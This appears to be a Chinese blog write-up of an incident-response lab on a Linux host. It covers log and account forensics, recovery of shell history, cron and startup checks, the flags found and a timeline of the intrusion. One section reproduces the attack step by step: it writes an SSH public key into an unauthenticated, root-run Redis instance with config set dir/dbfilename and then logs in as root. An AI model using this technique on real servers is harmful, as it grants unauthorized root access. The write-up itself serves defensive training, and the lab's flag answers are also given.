当前位置:首页>Linux>应急响应打靶--Linux1

应急响应打靶--Linux1

  • 2026-10-11 08:43:00
应急响应打靶--Linux1

免责声明

本文只做学术研究使用,不可对真实未授权网站使用,如若非法他用,与平台和本文作者无关,需自行负责!

靶机资源:
网盘下载:https://pan.quark.cn/s/4b6dffd0c51a#/list/share
需要注意:应急,没有所谓的标准流程

登录信息查询

假设,黑客已经入侵这台服务器了,我们第一步要做的是什么呢?

查看用户?查看日志?查看进程?直接拿脚本、工具去扫?

不,都不是

第一步,最主要的是现在都有哪些人在登录,比如黑客是否在进行其他操作,如果当时黑客正在连接服务器,先ban掉黑客的IP以及连接,在做其他操作,不然一切都是无用功

w:查看系统信息,用于显示某一时刻用户的行为

  • USER: 登录帐号

  • TTY : 终端名称

  • FROM: 远程主机名

  • LOGIN@: 登录时间

  • IDLE: 空闲时间

  • JCPU: 该TTY终端连接的所有进程的占用时间

  • PCPU: 当前进程(即w项中显示的)的占用时间

  • WHAT: 当前正在运行进程的命令行

who:查看当前登录用户(tty本地登陆  pts远程登录)

last:用于显示用户最近登录信息

  • 3.18 20:25使用192.168.75.129登录过系统一次

可疑用户
查看是否有可疑账户:cat /etc/passwd
  • 有两个用户:defend、redis,代表肯定存在redis服务,存在服务代表可能存在漏洞

查询特权用户特权用户(uid 为0):awk -F: '$3==0{print $1}' /etc/passwd

  • 正常情况下输出内容只有root,如果存在其他用户,需要注意

查询可以远程登录的帐号信息:awk '/\$1|\$6/{print $1}' /etc/shadow

  • 只有root和defend用户可以远程登录
cat /etc/passwd|grep "/bin/bash"
查询其他账号是否存在sudo权限(如非管理需要,普通帐号应删除sudo权限):more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
  • root用户和wheel用户组
  • cat /etc/group|grep wheel

  • wheel用户组包含defend,代表defend用户存在sudo权限
如果存在可疑账号,需要禁用或删除:
  • usermod -L user:禁用帐号,帐号无法登录,/etc/shadow第二栏为!开头

  • userdel user:删除user用户

  • userdel -r user:将删除user用户,并且将/home目录下的user目录一并删除

历史命令
通过历史命令,可判断出攻击者做了哪些操作,根据这些操作进一步分析入侵者
root的历史命令:history
  • 得到一个flag:flag{thisismybaby}
其他用户的历史命令:打开/home各帐号目录下的.bash_history
  • 没有有用的信息
如何为历史命令增加登录的IP地址、执行命令时间等信息:
需要注意:之前的历史命令执行时间,是当前修改配置并生效的时间,而不是之前实际攻击的实际
1)保存1万条命令sed -i 's/^HISTSIZE=1000/HISTSIZE=10000/g' /etc/profile2)在/etc/profile的文件尾部添加如下行数配置信息:######jiagu history xianshi#########USER_IP=`who -u am i 2>/dev/null | awk '{print $NF}' | sed -e 's/[()]//g'`if [ "$USER_IP" = "" ]thenUSER_IP=`hostname`fiexport HISTTIMEFORMAT="%F %T $USER_IP `whoami` "shopt -s histappendexport PROMPT_COMMAND="history -a"######### jiagu history xianshi ##########3)source /etc/profile让配置生效
  • 之后查看历史命令就会出现时间了
如果黑客执行了history -c,如何恢复?
方法:

1. 查看磁盘上永久保存的所有历史命令(直接看文件)

cat ~/.bash_history

2. 把文件命令重新加载回内存(执行后 history 命令就能看见了)

history -r ~/.bash_history

什么情况下,命令无法找回?
  • 执行 history -c(清空内存)

  • 执行 history -w(用空内存覆盖磁盘文件)

异常端口
netstat -anptu

查看pid所对应的进程文件路径:ls -l /proc/$PID/exe($PID 为对应的pid 号)

异常进程
ps aux
top
开机自启动

/etc/rc.local

  • 得到一个flag:flag{kfcvme50}

more /etc/rc.local /etc/rc.d/rc[0~6].d ls -l /etc/rc.d/rc3.d/

计划任务

crontab -l

Tips:默认编写的crontab文件会保存在 (/var/spool/cron/用户名 例如: /var/spool/cron/root

重点关注以下目录中是否存在恶意脚本:

/var/spool/cron/* /etc/crontab/etc/cron.d/*/etc/cron.daily/* /etc/cron.hourly/*/etc/cron.monthly/*/etc/cron.weekly//etc/anacrontab/var/spool/anacron/*
小技巧:
more /etc/cron.daily/*  查看目录下所有文件
异常文件
  • 查看敏感目录,如/tmp目录下的文件,同时注意隐藏文件夹,以“..”为名的文件夹具有隐藏属性

  • 得到发现WEBSHELL、远控木马的创建时间,如何找出同一时间范围内创建的文件?

    • 可以使用find命令来查找,如 find /opt -iname "*" -atime 1 -type f 找出 /opt 下一天前访问过的文件

  • 针对可疑文件可以使用stat进行创建修改时间。

  • 查找某段时间内创建的文件(btime):
    find / -type f -exec stat --format '%W %n' {} \; 2>/dev/null | awk -v start="$(date -d '2024-03-18 00:00:00' +%s)" -v end="$(date -d '2024-03-19 23:59:59' +%s)" '$1 != "0" && $1 >= start && $1 <= end {print $2}'
  • 查找某段时间内修改的文件(mtime):

    find / -type f -newermt "2024-03-18 00:30:00" ! -newermt "2024-03-20 15:28:00" 2>/dev/null
  • 查找某段时间访问的文件(atime):

    find / -type f -newerat "2024-03-18 00:30" ! -newerat "2024-03-20 15:28" 2>/dev/null
  • 查找某段时间内修改属性的文件(ctime):

    find / -type f -newerct "2024-03-18 00:30" ! -newerct "2024-03-20 15:28" 2>/dev/null
系统日志

日志默认存放位置:/var/log/

查看日志配置情况:more /etc/rsyslog.conf

日志文件
说明
/var/log/cron
记录了系统定时任务相关的日志
/var/log/cups
记录打印信息的日志
/var/log/dmesg
记录了系统在开机时内核自检的信息,也可以使用dmesg命令直接查看内核自检信息
/var/log/mailog
记录邮件信息
/var/log/message
记录系统重要信息的日志。这个日志文件中会记录Linux系统的绝大多数重要信息,如果系统出现问题时,首先要检查的就应该是这个日志文件
/var/log/btmp
记录错误登录日志,这个文件是二进制文件,不能直接vi查看,而要使用lastb命令查看
/var/log/lastlog
记录系统中所有用户最后一次登录时间的日志,这个文件是二进制文件,不能直接vi,而要使用lastlog命令查看
/var/log/wtmp
永久记录所有用户的登录、注销信息,同时记录系统的启动、重启、关机事件。同样这个文件也是一个二进制文件,不能直接vi,而需要使用last命令来查看
/var/log/utmp
记录当前已经登录的用户信息,这个文件会随着用户的登录和注销不断变化,只记录当前登录用户的信息。同样这个文件不能直接vi,而要使用w,who,users等命令来查询
/var/log/secure
记录验证和授权方面的信息,只要涉及账号和密码的程序都会记录,比如SSH登录,su切换用户,sudo授权,甚至添加用户和修改用户密码都会记录在这个日志文件中
分析技巧:1、定位有多少IP在爆破主机的root帐号:    grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more定位有哪些IP在爆破:grep "Failed password" /var/log/secure|grep -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)"|uniq -c爆破用户名字典是什么?grep "Failed password" /var/log/secure|perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'|uniq -c|sort -nr2、登录成功的IP有哪些:     grep "Accepted " /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more登录成功的日期、用户名、IP:grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

定位有多少IP在爆破主机的root帐号:

定位有哪些IP在爆破:

爆破用户名字典是什么?

登录成功的IP有哪些:

登录成功的日期、用户名、IP:

得出结论:

  • 3.18 19:29:20 192.168.75.129进行第一次爆破

  • 3.18 19:29:51 192.168.75.129最后一次爆破失败

  • 3.18 20:23:07 192.168.75.129登录成功

那么问题来了,既然可能爆破成功,那会不会在某些文件中留下线索?

  • /root/.ssh/authorized_keys

从以上内容得知:

  • 疑似redis漏洞打进来的

  • redis版本:3.2.12

  • 入侵时间:3.18

  • chinaran用户使用的kali机器

redis排查
得出:3.18修改过配置
拿到一个flag:flag{P@ssW0rd_redis}
redis日志:/var/log/redis/redis.log
  • 3.18 19:39:31 192.168.75.129尝试连接,连接成功
  • 3.18 19:47:02 192.168.75.129最后一次连接
之后启动redis:/bin/systemctl start redis.service
之后尝试无密码进入redis:redis-cli
发现key的内容与/root/.ssh/known_hosts内容完全一致
而redis中有一个漏洞:利用redis写ssh公钥实现ssh登录
验证redis写ssh公钥实现ssh登录

攻击机(Kali)上创建ssh-rsa密钥,也就是生成key:ssh-keygen -t rsa

可以看到生成的公钥已将保存到/root/.ssh/id_rsa.pub路径下

将公钥导入key.txt,(前后用\n换行,避免和redis里其他缓存数据混合,是用于防止乱码);

cd /root/.ssh/(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

Kali通过redis的未授权访问漏洞,将key.txt生成的公钥写入靶机服务器的内存之中:cat key.txt | /root/redis-7.0.11/src/redis-cli -h 192.168.137.123 -x set crack

Kali通过redis远程登录,输入key *,查看crack,输入get crack查看公钥内容

设置路径和保存的文件名,将内存变量导入磁盘文件。

config set dir /root/.sshconfig set dbfilename authorized_keyssave

报错了,为什么?因为没有权限

那攻击者如何入侵成功的?

原因可能是redis当时启动是root权限启动的,返回靶机执行:

redis权限启动:systemctl stop redis.serviceroot权限启动:redis-server /etc/redis.conf &

之后重新在Kali机器执行:

config setdir /root/.sshconfig set dbfilename authorized_keyssave

执行成功,之后使用SSH免密连接:ssh -i id_rsa root@192.168.137.123

成功连接
所以漏洞点:redis无密码+redis使用root权限启动+利用redis写ssh公钥实现ssh登录
通关
  • 1.攻击者IP地址

    • 192.168.75.129
  • 2.三个flag(flag格式flag{xxxxx})

    • flag{thisismybaby}

    • flag{kfcvme50}

    • flag{P@ssW0rd_redis}

入侵流程
  • 通过history历史命令,得到一个flag:flag{thisismybaby}

  • 2024.3.18 19:29:20 192.168.75.129进行第一次SSH密码爆破(/var/log/secure日志)

  • 2024.3.18 19:29:51 192.168.75.129最后一次SSH密码爆破失败(/var/log/secure日志)

  • 2024.3.18 19:39:31 192.168.75.129尝试连接redis,连接成功(redis无密码连接,/var/log/redis/redis.log日志)

  • 2024.3.18 19:47:02 192.168.75.129最后一次连接(redis写ssh公钥实现ssh登录,/var/log/redis/redis.log日志)

  • 2024.3.18 19:53:13 通过redis配置文件(/etc/redis.conf)得到一个flag:flag{P@ssW0rd_redis},通过stat命令得到最近更改时间(怎么写入的不知道,因为此时SSH还没有登录成功)

  • 2024.3.18 20:22:39 ssh公钥写入/root/.ssh/known_hosts文件(通过内容得知redis版本、入侵时间、用户名以及kali机器、stat命令得到最近更改时间)

  • 2024.3.18 20:23:07 192.168.75.129 SSH密码登录成功(/var/log/secure日志)

  • 2024.3.19 03:08:38 开机启动(/etc/rc.local)文件,得到一个flag:flag{kfcvme50},通过stat命令得到最近更改时间

    修复
  • 修改root、defend用户密码
  • 非必要,禁用defend用户的sudo权限
  • 清理/etc/rc.local文件中的flag
  • 清理/etc/redis.conf文件中的flag
  • 清空/root/.ssh/known_hosts文件
  • redis设置密码、使用redis用户启动、非必须设置只能本机登录或者白名单IP登录
  • 进行常规安全检查、杀毒,进行全面主机排查
  • 配置防火墙,设置规则

报告书写

  • 网上找模板

  • 公司有特定模板

  • 使用工具生成(只是入侵检测,无后续善后工作,如果需要善后工作需要自己补充)

    • https://github.com/s1g0day/ReportGenX

最新文章

随机文章